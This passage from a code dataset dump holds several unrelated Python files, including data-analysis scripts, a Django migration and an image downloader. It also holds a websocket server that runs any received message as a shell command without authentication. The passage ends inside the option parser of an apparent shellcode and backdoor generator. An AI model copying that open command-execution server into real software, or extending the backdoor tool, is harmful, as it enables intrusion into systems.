class\n It's used for record signals, example:\n\n Initialize buffer with n vars:\n buffer = Buffer(x=0,y=0)\n\n Recording:\n buffer.record(x=1.3, y=2.4)\n\n End Record\n buffer.stop()\n\n :param siglen: max length per signal\n\n \"\"\"\n def __init__(self, siglen=5000, **kwargs):\n self.kwargs = kwargs\n self.siglen = siglen\n self.signals = {ID: deque(maxlen=self.siglen) for ID in kwargs.keys()}\n self.recording = False\n self.initialTime = 0\n self.currentTime = 0\n\n def get_data(self):\n \"\"\"It returns a copy of the storaged data\"\"\"\n return dict(self.signals)\n\n def sample_time(self):\n \"\"\"It samples the time\"\"\"\n if not self.recording:\n self.recording = True\n self.initialTime = time.time()\n self.currentTime = time.time()\n # self.time.append(self.currentTime)\n\n def get_time_count(self):\n \"\"\"It returns \"\"\"\n return self.currentTime - self.initialTime\n\n def fix_time_scale(self):\n \"\"\"It fixes time scale\"\"\"\n dt_vec = np.diff(self.time)\n t = 0\n tvec = [t]\n for dt in dt_vec:\n t += dt\n tvec.append(t)\n self.signals[\"time\"] = np.array(tvec)\n\n def record(self, **kwargs):\n \"\"\"It records signals\"\"\"\n for ID in kwargs.keys():\n if ID in self.kwargs:\n self.signals[ID].append(kwargs[ID])\n # save the time of sampling\n self.sample_time()\n\n def print_data(self, lim=8):\n \"\"\"It prints the signals in a nice format\n :param lim: limit to show elements with list/array indexing\n \"\"\"\n for ID in self.signals:\n if len(self.signals[ID]) >= lim:\n print(ID, \": \")\n print(self.signals[ID][:lim], \"...\", self.signals[ID][-lim:])\n print(\"\")\n else:\n print(ID, \":\")\n print(self.signals[ID])\n print(\"\")\n\n def print_size(self):\n \"\"\"It prints the signals lengths in a nice format\"\"\"\n for ID in self.kwargs:\n print(\"{} -> {} \".format(ID, len(self.signals[ID])))\n\n def get_size(self):\n \"\"\"It returns the size/length of each signal recorded\n :return: size: dictionary with the names of the signals and their lengths\n \"\"\"\n size = {}\n for ID in self.signals:\n try:\n size[ID] = len(self.signals[ID])\n except Exception as e:\n print(e)\n return size\n\n def get_length(self):\n \"\"\"It returns the length of the recorded signals\n :return: length: signals length\n \"\"\"\n length = len(list(self.signals.values())[0])\n return length\n\n def generate_time_vector(self, duration=1):\n \"\"\"It generates a time vector from the signals sampled.\n :param duration: secs.\n \"\"\"\n length = self.get_length()\n t = np.linspace(0, duration, length)\n self.signals[\"t_generated\"] = t\n\n def save(self, name=\"default\"):\n \"\"\"It saves the data\n :param name: file name to save data\n \"\"\"\n name += \".npy\"\n np.save(name, self.signals)\n\n def data_to_array(self):\n \"\"\"It converts signals in list format to numpy array format\"\"\"\n for ID in self.signals:\n if type(self.signals[ID]) != np.ndarray:\n self.signals[ID] = np.array(self.signals[ID])\n\n def stop(self, name=\"default\", save=False, clear=False):\n \"\"\"It processes the data recorded\n :param name: name to storage the data in a file\n :param save: save flag, if it's True then save data\n :param clear:\n :return:\n \"\"\"\n self.currentTime = 0\n self.initialTime = 0\n self.recording = False\n self.data_to_array()\n #self.fix_time_scale()\n self.signals[\"size\"] = self.get_size()\n\n if save:\n self.save(name)\n if clear:\n self.clear()\n\n def clear(self):\n \"\"\"It cleans the buffer\"\"\"\n self.currentTime = 0\n self.initialTime = 0\n self.recording = False\n for ID in self.signals:\n self.signals[ID] = deque(maxlen=self.siglen)\n self.time = deque(maxlen=self.siglen)\n", "sub_path": "buffer.py", "file_name": "buffer.py", "file_ext": "py", "file_size_in_byte": 4393, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "collections.deque", "line_number": 25, "usage_type": "call"}, {"api_name": "time.time", "line_number": 38, "usage_type": "call"}, {"api_name": "time.time", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.diff", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 120, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 121, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 148, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 149, "usage_type": "call"}]} +{"seq_id": "3465814", "text": "import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as seabornInstance\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn import metrics\nimport matplotlib.pyplot as plt \nimport requests\nimport csv\nimport json\n\nurl = 'https://api.covid19india.org/data.json'\n\nr = requests.get(url)\n\n#print (r.json())\n\ndata = r.json()\n\ntested = data['tested']\n\ncsvFile = open('tested.csv', 'w')\n\ncount = 0\ncsv_writer = csv.writer(csvFile)\nfor row in tested:\n if count == 0:\n headers = row.keys()\n csv_writer.writerow(headers)\n count=1\n csv_writer.writerow(row.values())\ncsvFile.close()\n\ndataset = pd.read_csv('tested.csv')\ndataset.shape\ndataset.describe()\n\ndataset.plot(x='totalindividualstested',y='totalsamplestested',style='o')\n\ndataset.plot(x='totalindividualstested',y='totalpositivecases',style='o')\n\nprint(dataset.plot(x='totalsamplestested',y='totalpositivecases',style='o'))\n\nX = dataset['totalsamplestested'].values.reshape(-1,1)\ny = dataset['totalpositivecases'].values.reshape(-1,1)\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.1, random_state=0)\n\nX_train\ny_train\ncleanedList = [x for x in y_train if x != 'nan']\ncleanedList\n# y_train.type\ny_train2 = y_train[~np.isnan(y_train)]\ny_train2\ndataset = dataset.dropna(axis=0, subset=['totalpositivecases'])\ndataset\nX = dataset['totalsamplestested'].values.reshape(-1,1)\ny = dataset['totalpositivecases'].values.reshape(-1,1)\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.1, random_state=0)\nregressor = LinearRegression() \nregressor.fit(X_train, y_train) #training the algorithm\n#To retrieve the intercept:\nprint(regressor.intercept_)\n#For retrieving the slope:\nprint(regressor.coef_)\n\ny_pred = regressor.predict(X_test)\ny_pred\nX_test\ny_pred,X_test\ny_pred = regressor.predict([[80000.]])\nprint(y_pred)", "sub_path": "DataAnalytics/linear_Regression.py", "file_name": "linear_Regression.py", "file_ext": "py", "file_size_in_byte": 1891, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "requests.get", "line_number": 15, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 26, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 35, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 55, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 61, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LinearRegression", "line_number": 62, "usage_type": "call"}]} +{"seq_id": "110176764", "text": "#!/usr/bin/python3\n\nimport re\nimport requests\nfrom requests_toolbelt import MultipartEncoder\nfrom bs4 import BeautifulSoup\n\nclass Execute:\n # API of website\n __get_cookies_url='http://183.207.196.70:8085/haywdjpt/login!login.jspa'\n __post1_referer_url='http://183.207.196.70:8085/haywdjpt/gxdj/ywdj!checkYwMsisdn.jspa'\n __post2_referer_url='http://183.207.196.70:8085/haywdjpt/gxdj/ywdj!saveLogin.jspa'\n __test_login='http://183.207.196.70:8085/haywdjpt/gxdj/ywdj!frame.jspa'\n\n __session=None\n __r=None\n\n __login_data={ # 账号密码\n 'operator_id':'',\n 'password':''\n }\t\n __paramater={ # 录入信息\n 'msisdn':'', # 录入手机号\n 'yw_id':'',\t# 业务名称代号\n 'bl_time':'',\t# 办理时间\n 'team_name':'' # 队员姓名\n }\n __multiFiles={ # post信息\n 'region_id':'', # 县区\n 'school_id':'', # 学校\n 'fzr_id':'', # 账号\n }\n\n def __init__(self,username,password,phoneNumber,yw,bl_time,team_name=''):\n self.__login_data['operator_id']=username\n self.__login_data['password']=password\n try:\n self.__session=requests.session()\n self.__session.post(self.__get_cookies_url,data=self.__login_data)\n self.__r=self.__session.get(self.__test_login)\n except Exception:\n raise InitFault()\n self.__paramater['msisdn']=phoneNumber\n self.__paramater['yw_id']=self.__convert_id(yw)\n self.__paramater['bl_time']=bl_time\n self.__paramater['team_name']=team_name\n self.__multiFiles['region_id']=self.__get_id('region_id')\n self.__multiFiles['school_id']=self.__get_id('school_id')\n self.__multiFiles['fzr_id']=self.__login_data['operator_id']\n self.__multiFiles.update(self.__paramater)\n\n def __get_id(self, string_id):\n soup=BeautifulSoup(self.__r.text,'html.parser')\n soup=soup.find(id=string_id)\n get_id=soup.find('option',selected=True).get('value')\n return(get_id)\n\n def __convert_id(self, string_yw):\n soup=BeautifulSoup(self.__r.text,'html.parser')\n soup=soup.find(id='ywID')\n yw_id=soup.find_all('option')\n for i in range(1,len(yw_id)):\n if yw_id[i].get_text() == string_yw:\n return yw_id[i].get('value')\n raise YwIDisNotMatch()\n\n def send(self):\n multiFormData=MultipartEncoder(fields=self.__multiFiles)\n try:\n res=self.__session.post(self.__post1_referer_url,data=self.__paramater) # 检查是否重复录入，重复为1，不重复为0\n except Exception:\n raise ParameterDoesNotMatchTheFormat()\n \n if res.text=='0':\n res=self.__session.post(self.__post2_referer_url,data=multiFormData,headers={'Content-Type':multiFormData.content_type})\n try:\n res.text.index(\"alert(\\\"已成功登记！\\\");\")\n except ValueError:\n raise EntryFailed()\n else:\n raise EntryRepeated()\n\nclass YwIDisNotMatch(Exception):\n def __init__(self,err='业务名称与业务ID无匹配项，业务名称不存在'):\n super().__init__(self,err)\nclass InitFault(Exception):\n def __init__(self,err='初始化失败，请检查网络和账户状态'):\n super().__init__(self,err)\nclass EntryFailed(Exception):\n def __init__(self,err='录入失败，请检查'):\n super().__init__(self,err)\nclass EntryRepeated(Exception):\n def __init__(self,err='录入重复，请检查'):\n super().__init__(self,err)\nclass ParameterDoesNotMatchTheFormat(Exception):\n def __init__(self,err='参数格式可能不正确，请检查'):\n super().__init__(self,err)\n\n# 录入，2为录入成功，-1为录入异常,1为录入重复\ndef execute(username, password, phoneNumber, yw, bl_time, team_name=''):\n try:\n luru=Execute(username,password,phoneNumber,yw,bl_time,team_name)\n luru.send()\n return 2\n except EntryRepeated as ex:\n print(ex)\n return 1\n except YwIDisNotMatch as ex:\n print(ex)\n except InitFault as ex:\n print(ex)\n except EntryFailed as ex:\n print(ex)\n except ParameterDoesNotMatchTheFormat as ex:\n print(ex)\n return -1\n", "sub_path": "自动录入_中国移动淮安高校活动支撑平台/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 5011, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "requests.session", "line_number": 38, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 53, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 59, "usage_type": "call"}, {"api_name": "requests_toolbelt.MultipartEncoder", "line_number": 68, "usage_type": "call"}]} +{"seq_id": "508857587", "text": "__author__ = 'igor'\nimport pickle\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom loadData import *\n\nwith open(\"data/net1.pickle\", 'rb') as f1:\n net1 = pickle.load(f1)\nf1.close()\n\nwith open(\"data/net2.pickle\", 'rb') as f2:\n net2 = pickle.load(f2)\nf2.close()\n\n# net1保存了训练中的结果\ntrain_loss1 = np.array([i[\"train_loss\"] for i in net1.train_history_])\nvalid_loss1 = np.array([i[\"valid_loss\"] for i in net1.train_history_])\ntrain_loss2 = np.array([i[\"train_loss\"] for i in net2.train_history_])[:400]\nvalid_loss2 = np.array([i[\"valid_loss\"] for i in net2.train_history_])[:400]\nplt.plot(train_loss1, linewidth=3, label=\"train1\")\nplt.plot(valid_loss1, linewidth=3, label=\"valid1\")\nplt.plot(train_loss2, linewidth=3, label=\"train2\", linestyle=\"--\")\nplt.plot(valid_loss2, linewidth=3, label=\"valid2\", linestyle=\"--\")\nplt.grid()\nplt.legend()\nplt.xlabel(\"epoch\")\nplt.ylabel(\"loss\")\n#plt.ylim(1e-3, 1e-2)\nplt.yscale(\"log\")\nplt.show()\n", "sub_path": "FacialKeypointsDetection/Net1vsNet2.py", "file_name": "Net1vsNet2.py", "file_ext": "py", "file_size_in_byte": 953, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "pickle.load", "line_number": 8, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yscale", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}]} +{"seq_id": "494628241", "text": "#!/usr/bin/env python\n\n# WS server that run command from server\n# send command like this from server:\n# ifconfig\n# df\n# \"for i in {1..3}; do sleep 1 && echo \\\"current time: `date`\\\"; done\"\n\nimport asyncio\nimport datetime\nimport random\nimport websockets\nimport subprocess\n\nasync def run_cmd(websocket, path):\n async for message in websocket:\n print(f\"> {message} {path}\")\n greeting = f\"> {message}\"\n await websocket.send(greeting)\n\n if message:\n print ('Recieved from ' + str(websocket.remote_address) + ': ' + message)\n\n # For Linux, use '/bin/sh ', for windows: cmd.exe /c\n # \"universal newline support\" :\n # This will cause to interpret \\n, \\r\\n and \\r equally, each as a newline String (not bytes).\n proc = subprocess.Popen('/bin/sh -c ' + message, shell=True, \n stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE,\n bufsize=1, universal_newlines=True)\n\n for line in proc.stdout:\n line = line.rstrip()\n print(f\"line = {line}\")\n await websocket.send(line) #line.decode('utf-8') if universal_newlines not specified\n # if the process has completed:\n print(\"command done!\")\n await websocket.send(\"done!\")\n else:\n await websocket.send('Non unicode data received! Send text please :)')\n\n# asyncio.get_event_loop().run_until_complete(websockets.serve(run_cmd, 'localhost', 5678))\n\n# asyncio.get_event_loop().run_forever()\n\ndef start_server_main_in_sync():\n # start websocket server\n start_server = websockets.serve(run_cmd, 'localhost', 5678)\n asyncio.get_event_loop().run_until_complete(start_server)\n asyncio.get_event_loop().run_forever()\n\nasync def main():\n async with websockets.serve(run_cmd, \"localhost\", 5678):\n await asyncio.Future() # run forever\n\nif __name__ == \"__main__\":\n asyncio.run(main())", "sub_path": "server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 1970, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "subprocess.Popen", "line_number": 27, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 28, "usage_type": "attribute"}, {"api_name": "websockets.serve", "line_number": 47, "usage_type": "call"}, {"api_name": "asyncio.get_event_loop", "line_number": 48, "usage_type": "call"}, {"api_name": "asyncio.get_event_loop", "line_number": 49, "usage_type": "call"}, {"api_name": "websockets.serve", "line_number": 52, "usage_type": "call"}, {"api_name": "asyncio.Future", "line_number": 53, "usage_type": "call"}, {"api_name": "asyncio.run", "line_number": 56, "usage_type": "call"}]} +{"seq_id": "338051635", "text": "# script assumes everything runs smoothly, so no error handling added\n\nfrom __future__ import print_function\n\nimport csv\nimport datetime\n\nfrom dateutil import parser\n\ndef create_datetime_interval(date_str, start_time_str, end_time_str):\n start = parser.parse(date_str + \" \" + start_time_str)\n end = parser.parse(date_str + \" \" + end_time_str)\n return (start, end)\n\ndef import_intervals_from_csv(csv_filename):\n days_intervals = dict()\n with open(csv_filename) as csv_file:\n reader = csv.DictReader(csv_file)\n for row in reader:\n # assuming start date equals end date\n interval = create_datetime_interval(\n row[\"start date\"], row[\"start time\"], row[\"end time\"])\n intervals = days_intervals.get(row[\"start date\"], [])\n # assuming intervals from a specific day are ordered by start time\n intervals.append(interval)\n days_intervals[row[\"start date\"]] = intervals\n return days_intervals\n\ndef merge_intervals_per_day(days_intervals):\n hours_per_days = dict()\n for day, intervals in days_intervals.iteritems():\n index = 0\n previous_end = None\n delta = datetime.timedelta(0)\n while index < len(intervals):\n start, end = intervals[index]\n if previous_end: # if not first interval\n delta_of_intervals = start - previous_end\n if delta_of_intervals.total_seconds() > 0:\n delta += end - start\n else:\n delta += end - previous_end\n else: # if first interval\n delta += end - start\n previous_end = end\n index += 1\n hours_per_days[day] = delta.total_seconds() / 60\n return hours_per_days\n\ndef drop_merged_intervals_to_csv(merged_intervals, csv_filename):\n header_names = [\"day\", \"total meetings duration\"]\n with open(csv_filename, \"w\") as csv_file:\n writer = csv.DictWriter(csv_file, header_names)\n writer.writeheader()\n for day, duration in merged_intervals.iteritems():\n writer.writerow({\n \"day\": day,\n \"total meetings duration\": duration})\n\n\ndef main():\n days_intervals = import_intervals_from_csv(\"sorted_days_intervals.csv\")\n merged_intervals = merge_intervals_per_day(days_intervals)\n drop_merged_intervals_to_csv(\n merged_intervals, \"merged_intervals_per_day.csv\")\n\nif __name__ == \"__main__\":\n main()\n", "sub_path": "datetime_intervals_merger.py", "file_name": "datetime_intervals_merger.py", "file_ext": "py", "file_size_in_byte": 2487, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "dateutil.parser.parse", "line_number": 11, "usage_type": "call"}, {"api_name": "dateutil.parser", "line_number": 11, "usage_type": "name"}, {"api_name": "dateutil.parser.parse", "line_number": 12, "usage_type": "call"}, {"api_name": "dateutil.parser", "line_number": 12, "usage_type": "name"}, {"api_name": "csv.DictReader", "line_number": 18, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 34, "usage_type": "call"}, {"api_name": "csv.DictWriter", "line_number": 53, "usage_type": "call"}]} +{"seq_id": "258836150", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('accounts', '0015_auto_20150624_1118'),\n ('groups', '0006_remove_group_group_created_date'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='event',\n name='event_maxnop',\n field=models.IntegerField(default=5, verbose_name=b'\\xe6\\xb4\\xbb\\xe5\\x8a\\xa8\\xe6\\x9c\\x80\\xe5\\xa4\\xa7\\xe4\\xba\\xba\\xe6\\x95\\xb0'),\n ),\n migrations.AddField(\n model_name='event',\n name='event_registers',\n field=models.ManyToManyField(related_name='event_registers', verbose_name=b'\\xe6\\xb4\\xbb\\xe5\\x8a\\xa8\\xe7\\x99\\xbb\\xe8\\xae\\xb0\\xe7\\x9a\\x84\\xe4\\xba\\xba', to='accounts.Account'),\n ),\n migrations.AddField(\n model_name='event',\n name='event_start_time',\n field=models.DateTimeField(null=True, verbose_name=b'\\xe6\\xb4\\xbb\\xe5\\x8a\\xa8\\xe5\\xbc\\x80\\xe5\\xa7\\x8b\\xe6\\x97\\xb6\\xe9\\x97\\xb4', blank=True),\n ),\n ]\n", "sub_path": "groups/migrations/0007_auto_20150627_1109.py", "file_name": "0007_auto_20150627_1109.py", "file_ext": "py", "file_size_in_byte": 1112, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 7, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 15, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 15, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 18, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 18, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 20, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 20, "usage_type": "name"}, {"api_name": "django.db.models.ManyToManyField", "line_number": 23, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 23, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 25, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 25, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 28, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 28, "usage_type": "name"}]} +{"seq_id": "164818576", "text": "class Solution(object):\n def calcEquation(self, equations, values, queries):\n \"\"\"\n :type equations: List[List[str]]\n :type values: List[float]\n :type queries: List[List[str]]\n :rtype: List[float]\n \"\"\"\n import collections\n g = collections.defaultdict(dict)\n\n for i in range(len(equations)):\n (a, b), v = equations[i], values[i]\n g[a][b] = v\n g[b][a] = 1.0 / v\n\n res = []\n\n for s, e in queries:\n if s in g and e in g[s]:\n res.append(g[s][e])\n continue\n\n v = self.dfs(g, s, e, 1.0, set())\n res.append(v)\n if v != -1:\n # if s not in g or e not in g[s]:\n g[s][e] = v\n g[e][s] = 1.0 / v\n return res\n\n def dfs(self, g, s, e, path, seen):\n if s not in g or e not in g or s in seen:\n return -1.0\n if s == e:\n return path\n seen.add(s)\n\n for nxt in g[s]:\n val = self.dfs(g, nxt, e, path * g[s][nxt], seen)\n if val != -1:\n return val\n return -1.0", "sub_path": "399-evaluate-division/399-evaluate-division.py", "file_name": "399-evaluate-division.py", "file_ext": "py", "file_size_in_byte": 1170, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "collections.defaultdict", "line_number": 10, "usage_type": "call"}]} +{"seq_id": "575408169", "text": "import codecs\nimport re\nimport urllib\nimport random\nfrom PIL import Image\nimport numpy as np\n\n\nimport socket\n\n# Gets a subset of random non-squirrel images\n# from the Large Scale Visual Recognition Challenge 2015 (ILSVRC2015)\n# to test our SVM against.\n\ndef main():\n\tn = 10 # images per category\n\tm = 100 # number of categories\n\t\n\t# notsq = img_getter(mode=\"ns\") # mode = s or ns for squirrels or not-squirrels\n\t# notsq.get(n, m) \n\n\tsq = img_getter(mode=\"s\") # mode = s or ns for squirrels or not-squirrels\n\tsq.get(n)\n\t# m param will be disregarded if in squirrel mode - gets n images\n\nclass img_getter():\n\tSQUIRREL_WNID = 'n02356798'\n\n\t# local saved copy of http://image-net.org/challenges/LSVRC/2015/browse-det-synsets\n\tHTML_SOURCE = 'ILSVRC2015.html'\n\t\n\tWNID_REGEX = re.compile(r'([a-zA-Z0-9_ ]+)')\n\tDOWNLOAD_TEMPLATE = \"http://www.image-net.org/api/text/imagenet.synset.geturls?wnid=\"\n\n\tdef __init__(self, mode):\n\t\tself.mode = mode\n\n\tdef get(self, n, m=None):\n\t\tif self.mode == 'ns':\n\t\t\tself.get_assortment(n,m)\n\t\telif self.mode == 's':\n\t\t\tself.get_squirrels(n)\n\t\telse:\n\t\t\tprint(\"Invalid mode {}: must be either 's' or 'ns'\")\n\n\tdef parse_wnid_list(self):\n\t\t# Returns parsed list of tuples [(wnid_1, class_1), ... (wnid_n, class_n)]\n\t\t# excluding SQUIRREL_WNID\n\n\t\twnid_class = []\n\n\t\tf=codecs.open(self.HTML_SOURCE, 'r')\n\t\thtml_body = f.read()\n\t\twnids = re.findall(self.WNID_REGEX, html_body)\n\t\tfor wnid_tuple in wnids:\n\t\t\tif wnid_tuple[0] == self.SQUIRREL_WNID:\n\t\t\t\tcontinue\n\t\t\twnid_class.append(wnid_tuple)\n\n\t\treturn wnid_class\n\n\tdef _get_class_links(self, wnid):\n\t\tsocket.setdefaulttimeout(30) # TODO: replace this with requests\n\t\t# for some reason this request can take a long time\n\n\t\t# Given a wnid, get the list of links for its images\n\t\tlink = self.DOWNLOAD_TEMPLATE + str(wnid)\n\t\tprint(link)\n\t\tf = urllib.urlopen(link)\n\t\timg_link_list = f.read().split('\\r\\n')\n\t\timg_link_list.pop() # last item always a '\\n'\n\t\treturn img_link_list\n\n\tdef download_random_n(self, wnid, n, fname_prefix=None):\n\t\tsocket.setdefaulttimeout(2) # Don't waste too much time on a single image\n\n\t\t# Download n random images from a given wnid, with replacement\n\t\t# if n << len(link_list), which it will be, this is ok for assessing accuracy - shouldn't have\n\t\t# alot of repeated images.\n\t\t# We do this bc many of these links are dead and we'll likely have to try more than n times\n\t\t# in order to get n images\n\t\tlink_list = self._get_class_links(wnid)\n\t\tlength = len(link_list)\n\n\t\ti = 0\n\t\twhile i < n:\n\t\t\tif fname_prefix:\n\t\t\t\tfn = str(fname_prefix) + \"_\" + str(wnid) + \"_\" + str(i)+\".jpg\"\n\t\t\telse:\n\t\t\t\tfn = str(wnid) + \"_\" + str(i)+\".jpg\"\n\t\t\trnd_idx = random.randint(0,length-1)\n\t\t\ttry:\n\t\t\t\turllib.urlretrieve(link_list[rnd_idx], fn)\n\t\t\texcept:\n\t\t\t\tcontinue # If any kind of error just skip to next\n\n\t\t\t# Test open with PIL to make sure it's a valid 3-channel color jpeg\n\t\t\tif not self.check_jpeg(fn):\n\t\t\t\tcontinue\n\t\t\t\n\t\t\ti += 1\n\t\t\tprint(\"wnid {} | Downloaded image {} of {}\".format(wnid, i,n))\n\t\t\n\t\tprint(\"\")\n\n\tdef check_jpeg(self, fn):\n\t\tgood_img = True\n\t\ttry:\n\t\t\timg = Image.open(fn)\n\t\texcept IOError:\n\t\t\treturn False\n\t\timg_ary = np.asarray(img)\n\t\tif len(img_ary.shape) != 3 or img_ary.shape[2] != 3:\n\t\t\t# discard, try again\n\t\t\tgood_img = False\n\t\treturn good_img\n\n\tdef get_squirrels(self, n):\n\t\tself.download_random_n(self.SQUIRREL_WNID, n, fname_prefix=\"squirrel\")\n\n\tdef get_assortment(self, n, m):\n\t\t# Get random assortment of n images from m random ILSVRC categories\n\n\t\twnid_list = self.parse_wnid_list()\n\t\twnid_count = len(wnid_list)\n\t\t\n\t\tfor i in range(0,m):\n\t\t\trnd_list_idx = random.randint(0,wnid_count-1)\n\t\t\tself.download_random_n(wnid_list[rnd_list_idx][0], n)\n\nif __name__ == \"__main__\":\n\tmain()", "sub_path": "parse_wnids.py", "file_name": "parse_wnids.py", "file_ext": "py", "file_size_in_byte": 3755, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "re.compile", "line_number": 32, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 52, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 54, "usage_type": "call"}, {"api_name": "socket.setdefaulttimeout", "line_number": 63, "usage_type": "call"}, {"api_name": "urllib.urlopen", "line_number": 69, "usage_type": "call"}, {"api_name": "socket.setdefaulttimeout", "line_number": 75, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 91, "usage_type": "call"}, {"api_name": "urllib.urlretrieve", "line_number": 93, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 109, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 109, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 112, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 128, "usage_type": "call"}]} +{"seq_id": "154386922", "text": "import os\nimport time\nfrom sys import exit\nfrom lib.core.base import Base \n\nclass Parser(Base):\n import optparse\n parser = optparse.OptionParser()\n parser.add_option('-p', '--payload', action=\"store\")\n parser.add_option('-e', '--encoder', action=\"store\", default=\"False\")\n parser.add_option('-l','--list', action=\"store\", default=True)\n parser.add_option('-n','--nc', action=\"store\", default=True)\n\n #External sources(shellcode,py,asm encoders etc.)\n parser.add_option('-s', '--script', action=\"store\")\n parser.add_option('-o', '--output', action=\"store\", default=False)\n parser.add_option('-i', '--iteration', action=\"store\")\n\n\n #Commandline shellcodes\n parser.add_option('--host', action=\"store\")\n parser.add_option('--port', action=\"store\")\n parser.add_option('--shellcode', action=\"store\")\n parser.add_option('--url', action=\"store\")\n parser.add_option('--message', action=\"store\")\n parser.add_option('--file', action=\"store\")\n parser.add_option('--filename', action=\"store\")\n parser.add_option('--password', action=\"store\")\n parser.add_option('--command', action=\"store\")\n (options, args) = parser.parse_args()\n\n\n if options.list == \"backdoors\":\n from .core.backdoors import backdoorlist\n backdoorlist( require=False)\n exit()\n\n\n if options.list == \"shellcodes\":\n from .core.shellcodes import shellcodelist\n shellcodelist()\n exit()\n\n\n if options.list == \"encoders\":\n from .core.backdoors import encoderlist\n encoderlist( 